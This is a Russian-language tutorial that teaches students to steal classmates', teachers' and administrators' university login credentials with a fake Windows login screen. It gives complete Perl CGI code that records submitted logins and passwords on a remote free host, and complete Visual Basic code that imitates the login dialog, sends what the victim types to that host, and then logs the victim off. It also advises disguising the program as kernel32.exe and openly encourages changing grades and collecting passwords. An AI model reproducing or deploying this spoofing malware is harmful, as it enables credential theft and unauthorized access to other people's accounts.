Если вы учитесь в каком-нибудь университете (институте, колледже и т.п.), то значит у вас есть собственный логин и пароль для работы на компе в компьютерном зале ( и для соединения с сервером ), и естественно время доступа и ваши действия записываются в логах. А так как совершенно не хочется быть эксматрикулированым, и тем более видеть небо в крупную клетку, то под своим логином приходится заниматься только законной деятельностью (типа читать on-line очередную лекцию по "Введение в инфосистемы" :)), что быстро надоедает, и руки тянутся сломать Пентагон/напакостить декану/исправить оценки (подчеркнуть нужное). Следовательно, нам нужен логин и пароль
другого студента (а лучше препода или админа). Можете конечно попытаться вытащить их из shadow, а можно просто сделать и поставить программу, эмулирующую стандартное приглашение входа в систему.
Рассмотрим по порядку
Во-первых, напишем скрипт на перле, который будет записывать поступающие логины и пароли ( Если лично Вам по какой-либо причине не нравится Perl, можете использовать PHP, ASP или C - это не суть столь важно)
#! /usr/local/bin/perl$method=$ENV{'REQUEST_METHOD'};
if($method eq "GET") {
$form_data=$ENV{'QUERY_STRING'};
}
else {
read(STDIN,$form_data,$ENV{'CONTENT_LENGTH'});
}
$form_data=~s/%(..)/pack("C",hex($1))/eg;
$form_data=~tr/+/ /;
@pairs=split(/&/,$form_data);
foreach $pair(@pairs) {
($name,$value)=split(/=/,$pair);
$FORM{$name}=$value;
}$login=$FORM{'login'};
$pass=$FORM{'pass'};
open(F,">>data.txt");
print F "$login\n";
print F "$pass\n";
close(F);
Этот скрипт будет записывать данные в файл "data.txt", находящийся в той же директории, что и скрипт.
Теперь остаётся только зарегистрироваться на сайте, предлагающем бесплатный хостинг с cgi и perl поддержкой и разместить там свой скрипт. В результате URL вашего скрипта будет приблизительно такой: http://www.hosting.com/user/cgi-bin/spy.pl
Далее, приступим непосредственно к созданию программы-эмулятора. Так как в ней самым важным является внешний вид, то воспользуемся визуальным языком программирования, типа Visual Basic, Delphi, C++ Builder. Какой язык выбрать - это дело вкуса и имеющихся знаний. Я опишу создание эмулятора на Visual Basic.
Запускем VB, давим на File->New Project, выбираем Standard EXE и кликаем на OK. Давайте
переименуем форму Form1 во что-нибудь более осмысленное, типа frmMain. Далее, используя кнопки, текст боксы, картинки и лейблы (может конкретно в Вашем случае понадобиться и ещё что-либо), а также свой талант художника, разместите компоненты так, как на оригинале. У меня для Windows 2000 Pro вышло следующее:
То, что не очень похоже на оригинал - не беда. Практика показывает, что вместо Windows 2000 можно написать чуть ли не Linux Red Hat 6.1 - обыкновенный юзер, каковых в любом университете большинство, ничего не заметит, а если даже и заметит, то вряд ли побежит рассказывать об этом админу:)
Дадим следующие имена компонентам:
кнопка Ok - cmdOk
кнопка Cancel - cmdCancel
поле ввода имени - txtName
поле ввода пароля - txtPassword
И для кнопки cmdOk свойство Default поставьте в True
Для отсылки информации на сервер воспользуемся компонентом Microsoft Internet Transfer Control.(Если кто не знает, то Project->Components…, и там его отметите, нажмёте на Ok и он появится на Toolbox). Разместите его на форму, назовите Inet, свойство Protocol установите в 1-icDefault.
Далее, нам понадобиться ещё одна форма, которая будет выполнять роль фона. Назовём её frmBG, поставим свойство BorderStyle в 0-None, BackColor - &H00A56E3A&.
Ну вот, этап проектирования закончился, пора приступать к написанию кода.
Привожу его весь:
Для формы frmMain:
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As _
Long, ByVal dwReserved As Long) As LongPrivate Sub cmdOk_Click()
On Error GoTo er1
Dim s As Long
Dim login As String, pass As String
Dim address As String
login = txtName.Text
pass = txtPassword.Text
address = "http://www.hosting.com/user/cgi-bin/spy.pl?login=" & login & "&pass=" & passInet.OpenURL (address)
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End
Exit Sub
er1:
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End
Exit Sub
End SubPrivate Sub cmdShutDown_Click()
Dim s As Long
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End SubPrivate Sub Form_Deactivate()
Me.Show
End SubPrivate Sub Form_Load()
frmBG.Show
With frmBG
.Top = 0
.Left = 0
.Height = Screen.Height
.Width = Screen.Width
End With
frmMain.ZOrder 1
frmBG.ZOrder 0
End SubPrivate Sub Form_LostFocus()
frmMain.Show
End SubPrivate Sub Form_Terminate()
Dim s As Long
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End SubPrivate Sub Form_Unload(Cancel As Integer)
Dim s As Long
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End SubPrivate Sub txtName_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
if (txtName.Text<>"")and(txtPassword.Text<>"") then
cmdOk_Click
end if
End If
End SubPrivate Sub txtPassword_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
if (txtName.Text<>"")and(txtPassword.Text<>"") then
cmdOk_Click
end if
End If
End Sub
Для формы frmBG:
Private Sub Form_Click()
frmMain.SetFocus
End SubPrivate Sub Form_DblClick()
frmMain.SetFocus
End Sub
Ну вот и всё. Компилируйте программу, сохраняйте под каким-нибудь страшным именем вроде kernel32.exe, несите на университетскую машину, запускайте там её под своим логином и, оставляя работать (и естественно не делая Log Off) идите на лекцию по матану. В Ваше отсутствие приходит какой-нибудь юзер, набирает свой логин/пароль, нажимает Ok, и снова оказывается в том же окне входа, но уже оригинальном. Думая что произошла ошибка, он входит снова, уже успешно, и лезет в интернет читать анекдоты, так и не о чём не догадываясь.
Начало коллекции паролей сокурсников положено! Как говориться, собери их все, но только не забывай об осторожности.